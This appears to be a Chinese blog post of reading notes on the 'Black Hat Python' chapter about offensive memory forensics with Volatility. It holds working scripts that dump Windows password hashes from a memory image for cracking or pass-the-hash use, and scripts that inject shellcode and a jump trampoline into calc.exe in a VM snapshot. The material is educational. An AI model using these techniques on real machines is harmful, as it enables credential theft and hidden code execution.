《Python黑帽子:黑客与渗透测试编程之道》读书笔记(九):自动化攻击取证

71 篇文章 57 订阅
22 篇文章 18 订阅

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第11章自动化攻击取证,主要是调用Volatility

1、Volatility配置

code.google.com/p/volatility/downloads/list安装
运行python vol.py imageinfo -f "memorydump.img"来获取目标配置

最重要的信息如下:
在这里插入图片描述
然后运行python vol.py plugin --profile="WinXPSP2x86" arguments

2、抓取口令的哈希值

导出口令的哈希值可以用于离线破解,也可以直接用来进行认证仿冒攻击

  • 运行Volatility的hivelist插件定位注册表SAM和system在内存中的偏移:python vol.py hivelist --profile=WinXPSP2x86 -f "WindowsXPSP2.vmem
  • 在获得了注册表的虚拟地址,即偏移后:python vol.py hashdump -d --profile=WinXPSP2x86 -f "WindowsXPSP2.vmem -y system偏移地址 -s Sam偏移地址

做成脚本

#!usr/bin/env python
#-*- coding:utf8 -*-  

import sys
import struct
import volatility.conf as conf
import volatility.registry as registry

# 要分析的内存文件位置
memory_file = "D:\\Windows XP Professional-f6b49762.vmem"

# volatility的下载的路径
sys.path.append("D:\\volatility-2.3")

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

config.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCATION = "file://%s" % memory_file

# 注册全局参数
registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)

from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDump

# 实例化一个RegistryApi类对象(包含常用的注册表帮助类)
registry = RegistryApi(config)
# 等同与hivelist命令
registry.populate_offsets()

sam_offset = None
sys_offset = None

# 循环检索SAM和system键值
for offset in registry.all_offsets:
    if registry.all_offsets[offset].endswith("\\SAM"):
        sam_offset = offset
        print "[*] SAM: 0x%08x" % offset

    if registry.all_offsets[offset].endswith("\\system"):
        sys_offset = offset
        print "[*] System: 0x%08x" % offset

    if sam_offset is not None and sys_offset is not None:
        config.sys_offset = sys_offset
        config.sam_offset = sam_offset

        # 创建HashDump对象
        hashdump = HashDump(config)

        for hash in hashdump.calculate():
            print hash

        break


if sam_offset is None or sys_offset is None:
    print "[*] Failed to find the system or SAM offsets."

3、直接代码注入

以计算器为例

#!usr/bin/env python
#-*- coding:utf8 -*-  

from immlib import *

class cc_hook(LogBpHook):

    def __init__(self):
        LogBpHook.__init__(self)
        self.imm = Debugger()

    def run(self, regs):
        self.imm.log("%08x" % regs['EIP'], regs['EIP'])
        self.imm.deleteBreakpoint(regs['EIP'])
        return


def main(args):

    imm = Debugger()

    calc = imm.getModule("calc.exe")
    imm.analyseCode(calc.getCodebase())

    functions = imm.getAllFunctions(calc.getCodebase())

    hooker = cc_hook()
    for function in functions:
        hooker.add("%08x" % function, function)

    return "Tracking %d functions." % len(functions)

4、插入shellcode

即最终

#!usr/bin/env python
#-*- coding:utf8 -*-  

import sys
import struct

equals_button = 0x01005D51

# 要分析的内存文件位置
memory_file = "D:\\Windows XP Professional-f6b49762.vmem"
slack_space = None
trampoline_offset = None

# 读入我们的shellcode
sc_fd = open("cmeasure.bin", "rb")
sc = sc_fd.read()
sc_fd.close()

sys.path.append("D:\\volatility-2.3")

import volatility.conf as conf
import volatility.registry as registry

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)

config.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCATION = "file://%s" % memory_file

import volatility.plugins.taskmods as taskmods

p = taskmods.PSList(config)
for process in p.calculate():
    if str(process.ImageFileName) == "calc.exe":
        print "[*] Found calc.exe with PID %d" % process.UniqueProcessId
        print "[*] Hunting for physical offsets...please wait."

        address_space = process.get_process_address_space()
        pages = address_space.get_available_pages()

        # page[0]:页面地址
        # page[1]:页面大小
        for page in pages:
            physical = address_space.vtop(page[0])
            if physical is not None:
                fd = open(memory_file, "r+")
                fd.seek(physical)
                buf = fd.read(page[1])

                try:
                    offset = buf.index("\x00" * len(sc))
                    slack_space = page[0] + offset

                    print "[*] Found good shellcode location!"
                    print "[*] Virtual address: 0x%08x" % slack_space
                    print "[*] Physical address: 0x%08x" % (physical + offset)
                    print "[*] Injecting shellcode."

                    fd.seek(physical + offset)
                    fd.write(sc)
                    fd.flush()

                    # 创建我们的跳转代码
                    # 对应的汇编指令为:
                    # mov ebx, ADDRESS_OF_SHELLCODE( shellcode地址)
                    # jmp ebx
                    tramp = "\xbb%s" % struct.pack("<L", page[0] + offset)
                    tramp += "\xff\xe3"

                    if trampoline_offset is not None:
                        break

                except:
                    pass

                fd.close()

            # 查看目标代码的位置
            if page[0] <= equals_button and equals_button < (page[0] + page[1] -7):
                print "[*] Found our trampoline target at: 0x%08x" % (physical)
                # 计算虚拟偏移
                v_offset = equals_button - page[0]
                # 计算物理偏移
                trampoline_offset = physical+ v_offset

                print "[*] Found our trampoline target at: 0x%08x" % (trampoline_offset)

                if slack_space is not None:
                    break


        print "[*] Writing trampoline..."

        fd = open(memory_file, "r+")
        fd.seek(trampoline_offset)
        fd.write(tramp)
        fd.close()

        print "[*] Done injecting code."

结语

回头去看看vol

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值